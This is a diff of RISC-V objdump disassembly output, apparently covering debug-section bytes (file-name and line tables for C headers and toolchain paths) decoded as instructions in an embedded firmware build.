-     470:	00682e73          	csrrs	t3,0x6,a6
-     474:	0001                	nop
-     476:	7300                	flw	fs0,32(a4)
-     478:	6174                	flw	fa3,68(a0)
-     47a:	2e74                	fld	fa3,216(a2)
-     47c:	0068                	addi	a0,sp,12
-     47e:	0002                	c.slli64	zero
-     480:	7400                	flw	fs0,40(s0)
-     482:	6d69                	lui	s10,0x1a
-     484:	2e65                	jal	83c <__stack_size+0x3c>
-     486:	0068                	addi	a0,sp,12
-     488:	72000003          	lb	zero,1824(zero) # 720 <__stack_size-0xe0>
-     48c:	6565                	lui	a0,0x19
-     48e:	746e                	flw	fs0,248(sp)
+     1b2:	2e00                	fld	fs0,24(a2)
+     1b4:	2f2e                	fld	ft10,200(sp)
+     1b6:	72616873          	csrrsi	a6,0x726,2
+     1ba:	6465                	lui	s0,0x19
+     1bc:	636e692f          	0x636e692f
+     1c0:	756c                	flw	fa1,108(a0)
+     1c2:	6564                	flw	fs1,76(a0)
+     1c4:	2f00                	fld	fs0,24(a4)
+     1c6:	6f68                	flw	fa0,92(a4)
+     1c8:	656d                	lui	a0,0x1b
+     1ca:	7369722f          	0x7369722f
+     1ce:	742f7663          	bgeu	t5,sp,91a <__stack_size+0x11a>
+     1d2:	736c6f6f          	jal	t5,c6908 <__stack_size+0xc6108>
+     1d6:	7369722f          	0x7369722f
+     1da:	672d7663          	bgeu	s10,s2,846 <__stack_size+0x46>
+     1de:	756e                	flw	fa0,248(sp)
+     1e0:	742d                	lui	s0,0xfffeb
+     1e2:	636c6f6f          	jal	t5,c6818 <__stack_size+0xc6018>
+     1e6:	6168                	flw	fa0,68(a0)
+     1e8:	6e69                	lui	t3,0x1a
+     1ea:	682d                	lui	a6,0xb
+     1ec:	7865                	lui	a6,0xffff9
+     1ee:	6966                	flw	fs2,88(sp)
+     1f0:	6576                	flw	fa0,92(sp)
+     1f2:	7369722f          	0x7369722f
+     1f6:	34367663          	bgeu	a2,gp,542 <__stack_size-0x2be>
+     1fa:	752d                	lui	a0,0xfffeb
+     1fc:	6b6e                	flw	fs6,216(sp)
+     1fe:	6f6e                	flw	ft10,216(sp)
+     200:	652d6e77          	0x652d6e77
+     204:	666c                	flw	fa1,76(a2)
+     206:	636e692f          	0x636e692f
+     20a:	756c                	flw	fa1,108(a0)
+     20c:	6564                	flw	fs1,76(a0)
+     20e:	2f00                	fld	fs0,24(a4)
+     210:	6f68                	flw	fa0,92(a4)
+     212:	656d                	lui	a0,0x1b
+     214:	7369722f          	0x7369722f
+     218:	742f7663          	bgeu	t5,sp,964 <__stack_size+0x164>
+     21c:	736c6f6f          	jal	t5,c6952 <__stack_size+0xc6152>
+     220:	7369722f          	0x7369722f
+     224:	672d7663          	bgeu	s10,s2,890 <__stack_size+0x90>
+     228:	756e                	flw	fa0,248(sp)
+     22a:	742d                	lui	s0,0xfffeb
+     22c:	636c6f6f          	jal	t5,c6862 <__stack_size+0xc6062>
+     230:	6168                	flw	fa0,68(a0)
+     232:	6e69                	lui	t3,0x1a
+     234:	682d                	lui	a6,0xb
+     236:	7865                	lui	a6,0xffff9
+     238:	6966                	flw	fs2,88(sp)
+     23a:	6576                	flw	fa0,92(sp)
+     23c:	62696c2f          	0x62696c2f
+     240:	6363672f          	0x6363672f
+     244:	7369722f          	0x7369722f
+     248:	34367663          	bgeu	a2,gp,594 <__stack_size-0x26c>
+     24c:	752d                	lui	a0,0xfffeb
+     24e:	6b6e                	flw	fs6,216(sp)
+     250:	6f6e                	flw	ft10,216(sp)
+     252:	652d6e77          	0x652d6e77
+     256:	666c                	flw	fa1,76(a2)
+     258:	2e30312f          	0x2e30312f
+     25c:	2e31                	jal	578 <__stack_size-0x288>
+     25e:	2f30                	fld	fa2,88(a4)
+     260:	6e69                	lui	t3,0x1a
+     262:	64756c63          	bltu	a0,t2,8ba <__stack_size+0xba>
+     266:	0065                	c.nop	25
+     268:	6d6f682f          	0x6d6f682f
+     26c:	2f65                	jal	a24 <__stack_size+0x224>
+     26e:	6972                	flw	fs2,28(sp)
+     270:	2f766373          	csrrsi	t1,0x2f7,12
+     274:	6f74                	flw	fa3,92(a4)
+     276:	2f736c6f          	jal	s8,36d6c <__stack_size+0x3656c>
+     27a:	6972                	flw	fs2,28(sp)
+     27c:	2d766373          	csrrsi	t1,0x2d7,12
+     280:	2d756e67          	0x2d756e67
+     284:	6f74                	flw	fa3,92(a4)
+     286:	68636c6f          	jal	s8,3690c <__stack_size+0x3610c>
+     28a:	6961                	lui	s2,0x18
+     28c:	2d6e                	fld	fs10,216(sp)
+     28e:	6568                	flw	fa0,76(a0)
+     290:	6678                	flw	fa4,76(a2)
+     292:	7669                	lui	a2,0xffffa
+     294:	2f65                	jal	a4c <__stack_size+0x24c>
+     296:	696c                	flw	fa1,84(a0)
+     298:	2f62                	fld	ft10,24(sp)
+     29a:	2f636367          	0x2f636367
+     29e:	6972                	flw	fs2,28(sp)
+     2a0:	36766373          	csrrsi	t1,0x367,12
+     2a4:	2d34                	fld	fa3,88(a0)
+     2a6:	6e75                	lui	t3,0x1d
+     2a8:	776f6e6b          	0x776f6e6b
+     2ac:	2d6e                	fld	fs10,216(sp)
+     2ae:	6c65                	lui	s8,0x19
+     2b0:	2f66                	fld	ft10,88(sp)
+     2b2:	3031                	jal	fffffabe <_heap_end+0x7fff12be>
+     2b4:	312e                	fld	ft2,232(sp)
+     2b6:	302e                	fld	ft0,232(sp)
+     2b8:	636e692f          	0x636e692f
+     2bc:	756c                	flw	fa1,108(a0)
+     2be:	6564                	flw	fs1,76(a0)
+     2c0:	662d                	lui	a2,0xb
+     2c2:	7869                	lui	a6,0xffffa
+     2c4:	6465                	lui	s0,0x19
+     2c6:	2e00                	fld	fs0,24(a2)
+     2c8:	2f2e                	fld	ft10,200(sp)
+     2ca:	7362                	flw	ft6,56(sp)
+     2cc:	2f70                	fld	fa2,216(a4)
+     2ce:	3358                	fld	fa4,160(a4)
+     2d0:	3030                	fld	fa2,96(s0)
+     2d2:	2e00                	fld	fs0,24(a2)
+     2d4:	2f2e                	fld	ft10,200(sp)
+     2d6:	7865                	lui	a6,0xffff9
+     2d8:	2f74                	fld	fa3,216(a4)
+     2da:	756d                	lui	a0,0xffffb
+     2dc:	746c                	flw	fa1,108(s0)
+     2de:	7a69                	lui	s4,0xffffa
+     2e0:	00656e6f          	jal	t3,562e6 <__stack_size+0x55ae6>
+     2e4:	6d00                	flw	fs0,24(a0)
+     2e6:	6961                	lui	s2,0x18
+     2e8:	2e6e                	fld	ft8,216(sp)
+     2ea:	00000063          	beqz	zero,2ea <__stack_size-0x516>
+     2ee:	5f00                	lw	s0,56(a4)
+     2f0:	6564                	flw	fs1,76(a0)
+     2f2:	6166                	flw	ft2,88(sp)
+     2f4:	6c75                	lui	s8,0x1d
+     2f6:	5f74                	lw	a3,124(a4)
+     2f8:	7974                	flw	fa3,116(a0)
+     2fa:	6570                	flw	fa2,76(a0)
+     2fc:	00682e73          	csrrs	t3,0x6,a6
+     300:	0001                	nop
+     302:	5f00                	lw	s0,56(a4)
+     304:	69647473          	csrrci	s0,0x696,8
+     308:	746e                	flw	fs0,248(sp)
+     30a:	682e                	flw	fa6,200(sp)
+     30c:	0200                	addi	s0,sp,256
+     30e:	0000                	unimp
+     310:	6f5a                	flw	ft10,148(sp)
+     312:	656e                	flw	fa0,216(sp)
+     314:	654d                	lui	a0,0x13
+     316:	67617373          	csrrci	t1,0x676,2
+     31a:	2e65                	jal	6d2 <__stack_size-0x12e>
+     31c:	0068                	addi	a0,sp,12
+     31e:	73000003          	lb	zero,1840(zero) # 730 <__stack_size-0xd0>
+     322:	7274                	flw	fa3,100(a2)
+     324:	6e69                	lui	t3,0x1a
+     326:	00682e67          	0x682e67
+     32a:	0004                	0x4
+     32c:	7300                	flw	fs0,32(a4)
+     32e:	6474                	flw	fa3,76(s0)
+     330:	6f69                	lui	t5,0x1a
+     332:	682e                	flw	fa6,200(sp)
+     334:	0400                	addi	s0,sp,512
+     336:	0000                	unimp
+     338:	6c647473          	csrrci	s0,0x6c6,8
+     33c:	6269                	lui	tp,0x1a
+     33e:	682e                	flw	fa6,200(sp)
+     340:	0400                	addi	s0,sp,512
+     342:	0000                	unimp
+     344:	656d                	lui	a0,0x1b
+     346:	67617373          	csrrci	t1,0x676,2
+     34a:	4865                	li	a6,25
+     34c:	6e61                	lui	t3,0x18
+     34e:	6c64                	flw	fs1,92(s0)
+     350:	6e69                	lui	t3,0x1a
+     352:	00682e67          	0x682e67
+     356:	5f000003          	lb	zero,1520(zero) # 5f0 <__stack_size-0x210>
+     35a:	6564                	flw	fs1,76(a0)
+     35c:	6166                	flw	ft2,88(sp)
+     35e:	6c75                	lui	s8,0x1d
+     360:	5f74                	lw	a3,124(a4)
+     362:	6366                	flw	ft6,88(sp)
+     364:	746e                	flw	fs0,248(sp)
+     366:	2e6c                	fld	fa1,216(a2)
+     368:	0068                	addi	a0,sp,12
+     36a:	0002                	c.slli64	zero
+     36c:	7500                	flw	fs0,40(a0)
+     36e:	696e                	flw	fs2,216(sp)
+     370:	2e647473          	csrrci	s0,0x2e6,8
+     374:	0068                	addi	a0,sp,12
+     376:	0002                	c.slli64	zero
+     378:	6600                	flw	fs0,8(a2)
+     37a:	6c746e63          	bltu	s0,t2,a56 <__stack_size+0x256>
+     37e:	682e                	flw	fa6,200(sp)
+     380:	0400                	addi	s0,sp,512
+     382:	0000                	unimp
+     384:	6366                	flw	ft6,88(sp)
+     386:	746e                	flw	fs0,248(sp)
+     388:	2e6c                	fld	fa1,216(a2)
+     38a:	0068                	addi	a0,sp,12
+     38c:	0002                	c.slli64	zero
+     38e:	5f00                	lw	s0,56(a4)
+     390:	6e61                	lui	t3,0x18
+     392:	682e6973          	csrrsi	s2,0x682,28
+     396:	0400                	addi	s0,sp,512
+     398:	0000                	unimp
+     39a:	656e                	flw	fa0,216(sp)
+     39c:	62696c77          	0x62696c77
+     3a0:	682e                	flw	fa6,200(sp)
+     3a2:	0400                	addi	s0,sp,512
+     3a4:	0000                	unimp
+     3a6:	6e5f 7765 696c      	0x696c77656e5f
+     3ac:	5f62                	lw	t5,56(sp)
+     3ae:	6576                	flw	fa0,92(sp)
+     3b0:	7372                	flw	ft6,60(sp)
+     3b2:	6f69                	lui	t5,0x1a
+     3b4:	2e6e                	fld	ft8,216(sp)
+     3b6:	0068                	addi	a0,sp,12
+     3b8:	0004                	0x4
+     3ba:	6300                	flw	fs0,0(a4)
+     3bc:	69666e6f          	jal	t3,66a52 <__stack_size+0x66252>
+     3c0:	00682e67          	0x682e67
+     3c4:	0002                	c.slli64	zero
+     3c6:	6900                	flw	fs0,16(a0)
+     3c8:	6565                	lui	a0,0x19
+     3ca:	6665                	lui	a2,0x19
+     3cc:	2e70                	fld	fa2,216(a2)
+     3ce:	0068                	addi	a0,sp,12
+     3d0:	0001                	nop
+     3d2:	6600                	flw	fs0,8(a2)
+     3d4:	6165                	addi	sp,sp,112
+     3d6:	7574                	flw	fa3,108(a0)
+     3d8:	6572                	flw	fa0,28(sp)
+     3da:	00682e73          	csrrs	t3,0x6,a6
+     3de:	0002                	c.slli64	zero
+     3e0:	6300                	flw	fs0,0(a4)
+     3e2:	6564                	flw	fs1,76(a0)
+     3e4:	7366                	flw	ft6,120(sp)
+     3e6:	682e                	flw	fa6,200(sp)
+     3e8:	0200                	addi	s0,sp,256
+     3ea:	0000                	unimp
+     3ec:	64647473          	csrrci	s0,0x646,8
+     3f0:	6665                	lui	a2,0x19
+     3f2:	682e                	flw	fa6,200(sp)
+     3f4:	0500                	addi	s0,sp,640
+     3f6:	0000                	unimp
+     3f8:	7974                	flw	fa3,116(a0)
+     3fa:	6570                	flw	fa2,76(a0)
+     3fc:	00682e73          	csrrs	t3,0x6,a6
+     400:	0002                	c.slli64	zero
+     402:	5f00                	lw	s0,56(a4)
+     404:	7974                	flw	fa3,116(a0)
+     406:	6570                	flw	fa2,76(a0)
+     408:	00682e73          	csrrs	t3,0x6,a6
+     40c:	0001                	nop
+     40e:	5f00                	lw	s0,56(a4)
+     410:	7974                	flw	fa3,116(a0)
+     412:	6570                	flw	fa2,76(a0)
+     414:	00682e73          	csrrs	t3,0x6,a6
+     418:	0002                	c.slli64	zero
+     41a:	6500                	flw	fs0,8(a0)
+     41c:	646e                	flw	fs0,216(sp)
+     41e:	6169                	addi	sp,sp,208
+     420:	2e6e                	fld	ft8,216(sp)
+     422:	0068                	addi	a0,sp,12
+     424:	0001                	nop
+     426:	5f00                	lw	s0,56(a4)
+     428:	6e65                	lui	t3,0x19
+     42a:	6964                	flw	fs1,84(a0)
+     42c:	6e61                	lui	t3,0x18
+     42e:	682e                	flw	fa6,200(sp)
+     430:	0100                	addi	s0,sp,128
+     432:	0000                	unimp
+     434:	656c6573          	csrrsi	a0,0x656,24
+     438:	682e7463          	bgeu	t3,sp,ac0 <__stack_size+0x2c0>
+     43c:	0200                	addi	s0,sp,256
+     43e:	0000                	unimp
+     440:	735f 6769 6573      	0x65736769735f
+     446:	2e74                	fld	fa3,216(a2)
+     448:	0068                	addi	a0,sp,12
+     44a:	0002                	c.slli64	zero
+     44c:	5f00                	lw	s0,56(a4)
+     44e:	6974                	flw	fa3,84(a0)
+     450:	656d                	lui	a0,0x1b
+     452:	6176                	flw	ft2,92(sp)
+     454:	2e6c                	fld	fa1,216(a2)
+     456:	0068                	addi	a0,sp,12
+     458:	0002                	c.slli64	zero
+     45a:	7400                	flw	fs0,40(s0)
+     45c:	6d69                	lui	s10,0x1a
+     45e:	7365                	lui	t1,0xffff9
+     460:	6570                	flw	fa2,76(a0)
+     462:	00682e63          	0x682e63
+     466:	0002                	c.slli64	zero
+     468:	5f00                	lw	s0,56(a4)
+     46a:	6974                	flw	fa3,84(a0)
+     46c:	656d                	lui	a0,0x1b
+     46e:	63657073          	csrci	0x636,10
+     472:	682e                	flw	fa6,200(sp)
+     474:	0200                	addi	s0,sp,256
+     476:	0000                	unimp
+     478:	705f 6874 6572      	0x65726874705f
+     47e:	6461                	lui	s0,0x18
+     480:	7974                	flw	fa3,116(a0)
+     482:	6570                	flw	fa2,76(a0)
+     484:	00682e73          	csrrs	t3,0x6,a6
+     488:	0002                	c.slli64	zero
+     48a:	7300                	flw	fs0,32(a4)
+     48c:	64656863          	bltu	a0,t1,adc <__stack_size+0x2dc>
      490:	682e                	flw	fa6,200(sp)
      492:	0200                	addi	s0,sp,256
      494:	0000                	unimp
-     496:	6f6c                	flw	fa1,92(a4)
-     498:	682e6b63          	bltu	t3,sp,b2e <__stack_size+0x32e>
-     49c:	0200                	addi	s0,sp,256
-     49e:	0000                	unimp
-     4a0:	6974                	flw	fa3,84(a0)
-     4a2:	656d                	lui	a0,0x1b
-     4a4:	682e                	flw	fa6,200(sp)
-     4a6:	0100                	addi	s0,sp,128
-     4a8:	0000                	unimp
-     4aa:	6c5f 636f 6c61      	0x6c61636f6c5f
-     4b0:	2e65                	jal	868 <__stack_size+0x68>
-     4b2:	0068                	addi	a0,sp,12
-     4b4:	0002                	c.slli64	zero
-     4b6:	7500                	flw	fs0,40(a0)
-     4b8:	696e                	flw	fs2,216(sp)
-     4ba:	2e647473          	csrrci	s0,0x2e6,8
-     4be:	0068                	addi	a0,sp,12
-     4c0:	73000003          	lb	zero,1840(zero) # 730 <__stack_size-0xd0>
-     4c4:	7274                	flw	fa3,100(a2)
-     4c6:	6e69                	lui	t3,0x1a
-     4c8:	682e7367          	0x682e7367
-     4cc:	0300                	addi	s0,sp,384
-     4ce:	0000                	unimp
-     4d0:	69727473          	csrrci	s0,0x697,4
-     4d4:	676e                	flw	fa4,216(sp)
-     4d6:	682e                	flw	fa6,200(sp)
-     4d8:	0200                	addi	s0,sp,256
-     4da:	0000                	unimp
-     4dc:	61647473          	csrrci	s0,0x616,8
-     4e0:	6772                	flw	fa4,28(sp)
-     4e2:	682e                	flw	fa6,200(sp)
-     4e4:	0400                	addi	s0,sp,512
-     4e6:	0000                	unimp
-     4e8:	69647473          	csrrci	s0,0x696,8
-     4ec:	00682e6f          	jal	t3,824f2 <__stack_size+0x81cf2>
-     4f0:	0002                	c.slli64	zero
-     4f2:	7300                	flw	fs0,32(a4)
-     4f4:	6474                	flw	fa3,76(s0)
-     4f6:	696c                	flw	fa1,84(a0)
-     4f8:	2e62                	fld	ft8,24(sp)
-     4fa:	0068                	addi	a0,sp,12
-     4fc:	0001                	nop
-     4fe:	6100                	flw	fs0,0(a0)
-     500:	6c6c                	flw	fa1,92(s0)
-     502:	2e61636f          	jal	t1,167e8 <__stack_size+0x15fe8>
-     506:	0068                	addi	a0,sp,12
-     508:	6c000003          	lb	zero,1728(zero) # 6c0 <__stack_size-0x140>
-     50c:	6d69                	lui	s10,0x1a
-     50e:	7469                	lui	s0,0xffffa
-     510:	00682e73          	csrrs	t3,0x6,a6
-     514:	0005                	c.nop	1
-     516:	7300                	flw	fs0,32(a4)
-     518:	7379                	lui	t1,0xffffe
-     51a:	696c                	flw	fa1,84(a0)
-     51c:	696d                	lui	s2,0x1b
-     51e:	7374                	flw	fa3,100(a4)
-     520:	682e                	flw	fa6,200(sp)
-     522:	0500                	addi	s0,sp,640
-     524:	0000                	unimp
-     526:	696c                	flw	fa1,84(a0)
-     528:	696d                	lui	s2,0x1b
-     52a:	7374                	flw	fa3,100(a4)
-     52c:	682e                	flw	fa6,200(sp)
-     52e:	0300                	addi	s0,sp,384
-     530:	0000                	unimp
-     532:	6c737973          	csrrci	s2,0x6c7,6
+     496:	7974                	flw	fa3,116(a0)
+     498:	6570                	flw	fa2,76(a0)
+     49a:	00682e73          	csrrs	t3,0x6,a6
+     49e:	0001                	nop
+     4a0:	7300                	flw	fs0,32(a4)
+     4a2:	6174                	flw	fa3,68(a0)
+     4a4:	2e74                	fld	fa3,216(a2)
+     4a6:	0068                	addi	a0,sp,12
+     4a8:	0002                	c.slli64	zero
+     4aa:	7400                	flw	fs0,40(s0)
+     4ac:	6d69                	lui	s10,0x1a
+     4ae:	2e65                	jal	866 <__stack_size+0x66>
+     4b0:	0068                	addi	a0,sp,12
+     4b2:	0004                	0x4
+     4b4:	7200                	flw	fs0,32(a2)
+     4b6:	6565                	lui	a0,0x19
+     4b8:	746e                	flw	fs0,248(sp)
+     4ba:	682e                	flw	fa6,200(sp)
+     4bc:	0200                	addi	s0,sp,256
+     4be:	0000                	unimp
+     4c0:	6f6c                	flw	fa1,92(a4)
+     4c2:	682e6b63          	bltu	t3,sp,b58 <__stack_size+0x358>
+     4c6:	0200                	addi	s0,sp,256
+     4c8:	0000                	unimp
+     4ca:	6974                	flw	fa3,84(a0)
+     4cc:	656d                	lui	a0,0x1b
+     4ce:	682e                	flw	fa6,200(sp)
+     4d0:	0100                	addi	s0,sp,128
+     4d2:	0000                	unimp
+     4d4:	6c5f 636f 6c61      	0x6c61636f6c5f
+     4da:	2e65                	jal	892 <__stack_size+0x92>
+     4dc:	0068                	addi	a0,sp,12
+     4de:	0002                	c.slli64	zero
+     4e0:	7500                	flw	fs0,40(a0)
+     4e2:	696e                	flw	fs2,216(sp)
+     4e4:	2e647473          	csrrci	s0,0x2e6,8
+     4e8:	0068                	addi	a0,sp,12
+     4ea:	0004                	0x4
+     4ec:	7300                	flw	fs0,32(a4)
+     4ee:	7274                	flw	fa3,100(a2)
+     4f0:	6e69                	lui	t3,0x1a
+     4f2:	682e7367          	0x682e7367
+     4f6:	0400                	addi	s0,sp,512
+     4f8:	0000                	unimp
+     4fa:	69727473          	csrrci	s0,0x697,4
+     4fe:	676e                	flw	fa4,216(sp)
+     500:	682e                	flw	fa6,200(sp)
+     502:	0200                	addi	s0,sp,256
+     504:	0000                	unimp
+     506:	61647473          	csrrci	s0,0x616,8
+     50a:	6772                	flw	fa4,28(sp)
+     50c:	682e                	flw	fa6,200(sp)
+     50e:	0500                	addi	s0,sp,640
+     510:	0000                	unimp
+     512:	69647473          	csrrci	s0,0x696,8
+     516:	00682e6f          	jal	t3,8251c <__stack_size+0x81d1c>
+     51a:	0002                	c.slli64	zero
+     51c:	7300                	flw	fs0,32(a4)
+     51e:	6474                	flw	fa3,76(s0)
+     520:	696c                	flw	fa1,84(a0)
+     522:	2e62                	fld	ft8,24(sp)
+     524:	0068                	addi	a0,sp,12
+     526:	0001                	nop
+     528:	6100                	flw	fs0,0(a0)
+     52a:	6c6c                	flw	fa1,92(s0)
+     52c:	2e61636f          	jal	t1,16812 <__stack_size+0x16012>
+     530:	0068                	addi	a0,sp,12
+     532:	0004                	0x4
+     534:	6c00                	flw	fs0,24(s0)
      536:	6d69                	lui	s10,0x1a
      538:	7469                	lui	s0,0xffffa
      53a:	00682e73          	csrrs	t3,0x6,a6
-     53e:	0002                	c.slli64	zero
-     540:	7000                	flw	fs0,32(s0)
-     542:	616c                	flw	fa1,68(a0)
-     544:	6674                	flw	fa3,76(a2)
-     546:	2e6d726f          	jal	tp,d782c <__stack_size+0xd702c>
-     54a:	0068                	addi	a0,sp,12
-     54c:	0006                	c.slli	zero,0x1
-     54e:	6d00                	flw	fs0,24(a0)
-     550:	6c75                	lui	s8,0x1d
-     552:	6974                	flw	fa3,84(a0)
-     554:	6f7a                	flw	ft10,156(sp)
-     556:	656e                	flw	fa0,216(sp)
-     558:	682e                	flw	fa6,200(sp)
-     55a:	0700                	addi	s0,sp,896
-     55c:	0000                	unimp
-     55e:	69647473          	csrrci	s0,0x696,8
-     562:	746e                	flw	fs0,248(sp)
-     564:	682e                	flw	fa6,200(sp)
-     566:	0400                	addi	s0,sp,512
-     568:	0000                	unimp
-     56a:	69647473          	csrrci	s0,0x696,8
-     56e:	746e                	flw	fs0,248(sp)
-     570:	672d                	lui	a4,0xb
-     572:	682e6363          	bltu	t3,sp,bf8 <__stack_size+0x3f8>
-     576:	0400                	addi	s0,sp,512
-     578:	0000                	unimp
-     57a:	0500                	addi	s0,sp,640
-     57c:	0205002b          	0x205002b
-     580:	19ac                	addi	a1,sp,248
-     582:	2040                	fld	fs0,128(s0)
-     584:	01019e03          	lh	t3,16(gp) # 8000e080 <__global_pointer$+0x10>
-     588:	0505                	addi	a0,a0,1
-     58a:	00090203          	lb	tp,0(s2) # 1b000 <__stack_size+0x1a800>
-     58e:	0100                	addi	s0,sp,128
-     590:	0f05                	addi	t5,t5,1
-     592:	0306                	slli	t1,t1,0x1
-     594:	0900                	addi	s0,sp,144
-     596:	0000                	unimp
-     598:	0501                	addi	a0,a0,0
-     59a:	0605                	addi	a2,a2,1
-     59c:	02090103          	lb	sp,32(s2)
-     5a0:	0100                	addi	s0,sp,128
-     5a2:	0f05                	addi	t5,t5,1
-     5a4:	0306                	slli	t1,t1,0x1
-     5a6:	0900                	addi	s0,sp,144
-     5a8:	0000                	unimp
-     5aa:	0501                	addi	a0,a0,0
-     5ac:	0605                	addi	a2,a2,1
-     5ae:	02090103          	lb	sp,32(s2)
-     5b2:	0100                	addi	s0,sp,128
-     5b4:	1905                	addi	s2,s2,-31
-     5b6:	0306                	slli	t1,t1,0x1
-     5b8:	0900                	addi	s0,sp,144
-     5ba:	0000                	unimp
-     5bc:	0501                	addi	a0,a0,0
-     5be:	04020027          	0x4020027
-     5c2:	0301                	addi	t1,t1,0
-     5c4:	0900                	addi	s0,sp,144
-     5c6:	0004                	0x4
-     5c8:	0501                	addi	a0,a0,0
-     5ca:	0319                	addi	t1,t1,6
-     5cc:	0900                	addi	s0,sp,144
-     5ce:	0006                	c.slli	zero,0x1
-     5d0:	0501                	addi	a0,a0,0
-     5d2:	0301                	addi	t1,t1,0
-     5d4:	0901                	addi	s2,s2,0
-     5d6:	0002                	c.slli64	zero
-     5d8:	0901                	addi	s2,s2,0
-     5da:	0002                	c.slli64	zero
-     5dc:	0100                	addi	s0,sp,128
+     53e:	0006                	c.slli	zero,0x1
+     540:	7300                	flw	fs0,32(a4)
+     542:	7379                	lui	t1,0xffffe
+     544:	696c                	flw	fa1,84(a0)
+     546:	696d                	lui	s2,0x1b
+     548:	7374                	flw	fa3,100(a4)
+     54a:	682e                	flw	fa6,200(sp)
+     54c:	0600                	addi	s0,sp,768
+     54e:	0000                	unimp
+     550:	696c                	flw	fa1,84(a0)
+     552:	696d                	lui	s2,0x1b
+     554:	7374                	flw	fa3,100(a4)
+     556:	682e                	flw	fa6,200(sp)
+     558:	0400                	addi	s0,sp,512
+     55a:	0000                	unimp
+     55c:	6c737973          	csrrci	s2,0x6c7,6
+     560:	6d69                	lui	s10,0x1a
+     562:	7469                	lui	s0,0xffffa
+     564:	00682e73          	csrrs	t3,0x6,a6
+     568:	0002                	c.slli64	zero
+     56a:	7000                	flw	fs0,32(s0)
+     56c:	616c                	flw	fa1,68(a0)
+     56e:	6674                	flw	fa3,76(a2)
+     570:	2e6d726f          	jal	tp,d7856 <__stack_size+0xd7056>
+     574:	0068                	addi	a0,sp,12
+     576:	6d000007          	0x6d000007
+     57a:	6c75                	lui	s8,0x1d
+     57c:	6974                	flw	fa3,84(a0)
+     57e:	6f7a                	flw	ft10,156(sp)
+     580:	656e                	flw	fa0,216(sp)
+     582:	682e                	flw	fa6,200(sp)
+     584:	0800                	addi	s0,sp,16
+     586:	0000                	unimp
+     588:	69647473          	csrrci	s0,0x696,8
+     58c:	746e                	flw	fs0,248(sp)
+     58e:	682e                	flw	fa6,200(sp)
+     590:	0500                	addi	s0,sp,640
+     592:	0000                	unimp
+     594:	69647473          	csrrci	s0,0x696,8
+     598:	746e                	flw	fs0,248(sp)
+     59a:	672d                	lui	a4,0xb
+     59c:	682e6363          	bltu	t3,sp,c22 <__stack_size+0x422>
+     5a0:	0500                	addi	s0,sp,640
+     5a2:	0000                	unimp
+     5a4:	0500                	addi	s0,sp,640
+     5a6:	0036                	c.slli	zero,0xd
+     5a8:	0205                	addi	tp,tp,1
+     5aa:	1a46                	slli	s4,s4,0x31
+     5ac:	2040                	fld	fs0,128(s0)
+     5ae:	05011703          	lh	a4,80(sp)
+     5b2:	0302                	c.slli64	t1
+     5b4:	0902                	c.slli64	s2
+     5b6:	0000                	unimp
+     5b8:	0501                	addi	a0,a0,0
+     5ba:	031f 0900 0000      	0x900031f
+     5c0:	0301                	addi	t1,t1,0
+     5c2:	0900                	addi	s0,sp,144
+     5c4:	0000                	unimp
+     5c6:	0501                	addi	a0,a0,0
+     5c8:	0636                	slli	a2,a2,0xd
+     5ca:	00097e03          	0x97e03
+     5ce:	0100                	addi	s0,sp,128
+     5d0:	1f05                	addi	t5,t5,-31
+     5d2:	28090203          	lb	tp,640(s2) # 1b280 <__stack_size+0x1aa80>
+     5d6:	0100                	addi	s0,sp,128
+     5d8:	0306                	slli	t1,t1,0x1
+     5da:	0900                	addi	s0,sp,144
+     5dc:	000a                	c.slli	zero,0x2
      5de:	0501                	addi	a0,a0,0
-     5e0:	0036                	c.slli	zero,0xd
-     5e2:	0205                	addi	tp,tp,1
-     5e4:	19be                	slli	s3,s3,0x2f
-     5e6:	2040                	fld	fs0,128(s0)
-     5e8:	05011503          	lh	a0,80(sp)
-     5ec:	0302                	c.slli64	t1
-     5ee:	0902                	c.slli64	s2
-     5f0:	0000                	unimp
-     5f2:	0501                	addi	a0,a0,0
-     5f4:	031f 0900 0000      	0x900031f
-     5fa:	0301                	addi	t1,t1,0
-     5fc:	0900                	addi	s0,sp,144
-     5fe:	0000                	unimp
-     600:	0501                	addi	a0,a0,0
-     602:	0636                	slli	a2,a2,0xd
-     604:	00097e03          	0x97e03
-     608:	0100                	addi	s0,sp,128
-     60a:	1f05                	addi	t5,t5,-31
-     60c:	28090203          	lb	tp,640(s2)
-     610:	0100                	addi	s0,sp,128
-     612:	0306                	slli	t1,t1,0x1
-     614:	0900                	addi	s0,sp,144
-     616:	000a                	c.slli	zero,0x2
-     618:	0501                	addi	a0,a0,0
-     61a:	0302                	c.slli64	t1
-     61c:	0901                	addi	s2,s2,0
-     61e:	0002                	c.slli64	zero
-     620:	0501                	addi	a0,a0,0
-     622:	031f 0900 0000      	0x900031f
-     628:	0301                	addi	t1,t1,0
-     62a:	0900                	addi	s0,sp,144
-     62c:	0000                	unimp
-     62e:	0301                	addi	t1,t1,0
-     630:	0900                	addi	s0,sp,144
-     632:	000a                	c.slli	zero,0x2
-     634:	0501                	addi	a0,a0,0
-     636:	0302                	c.slli64	t1
-     638:	0901                	addi	s2,s2,0
-     63a:	0002                	c.slli64	zero
-     63c:	0501                	addi	a0,a0,0
-     63e:	031f 0900 0000      	0x900031f
-     644:	0301                	addi	t1,t1,0
-     646:	0900                	addi	s0,sp,144
-     648:	0000                	unimp
-     64a:	0301                	addi	t1,t1,0
-     64c:	0900                	addi	s0,sp,144
-     64e:	000a                	c.slli	zero,0x2
-     650:	0501                	addi	a0,a0,0
-     652:	0602                	c.slli64	a2
-     654:	00090203          	lb	tp,0(s2)
-     658:	0100                	addi	s0,sp,128
-     65a:	1f05                	addi	t5,t5,-31
-     65c:	02097e03          	0x2097e03
-     660:	0100                	addi	s0,sp,128
-     662:	0205                	addi	tp,tp,1
-     664:	0306                	slli	t1,t1,0x1
-     666:	0902                	c.slli64	s2
-     668:	0002                	c.slli64	zero
-     66a:	0501                	addi	a0,a0,0
-     66c:	030c                	addi	a1,sp,384
-     66e:	00c9                	addi	ra,ra,18
-     670:	3209                	jal	ffffff72 <_heap_end+0x7fff1772>
-     672:	0100                	addi	s0,sp,128
-     674:	0b05                	addi	s6,s6,1
-     676:	097fb903          	0x97fb903
-     67a:	000e                	c.slli	zero,0x3
-     67c:	0501                	addi	a0,a0,0
-     67e:	060c                	addi	a1,sp,768
-     680:	0900c703          	lbu	a4,144(ra) # 2040482c <_sbrk_r+0x2>
-     684:	000c                	0xc
-     686:	0501                	addi	a0,a0,0
-     688:	0602                	c.slli64	a2
-     68a:	04090403          	lb	s0,64(s2)
